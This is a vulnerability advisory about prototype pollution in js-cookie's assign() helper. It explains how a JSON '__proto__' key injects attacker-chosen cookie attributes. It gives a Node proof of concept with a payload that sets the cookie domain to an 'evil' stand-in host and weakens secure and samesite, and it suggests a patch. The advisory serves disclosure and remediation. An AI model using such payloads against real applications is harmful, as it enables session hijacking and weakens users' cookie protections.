Vulnerability details
Vulnerability
Data from Dependency-Track
Affected versions
Score
Description
## Summary
`js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `"__proto__"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.
Because the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.
## Impact
Any application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
```js
const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
```
A payload of `{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}` causes js-cookie to emit:
```
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
```
## Affected code
```js
// src/assign.mjs — full file
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) { // includes own enumerable '__proto__'
target[key] = source[key] // [[Set]] form - fires __proto__ setter
}
}
return target
}
```
## Proof of concept
Node 22.11.0, no third-party deps:
### Environment setup
```bash
mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie
```
### PoC
```js
ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
get cookie() { return ''; },
set cookie(v) { lastSetCookie = v; }
};
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse(
'{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);
```
Execution:
<img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />
## Suggested patch
```diff
--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
export default function (target) {
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
- for (var key in source) {
- target[key] = source[key]
- }
+ for (var key in source) {
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+ Object.defineProperty(target, key, {
+ value: source[key],
+ writable: true,
+ enumerable: true,
+ configurable: true,
+ })
+ }
}
return target
}
```
Equivalent one-liner alternative - iterate own names only and filter:
```js
for (const key of Object.getOwnPropertyNames(source)) {
if (key === '__proto__') continue
target[key] = source[key]
}
```
Same vulnerability as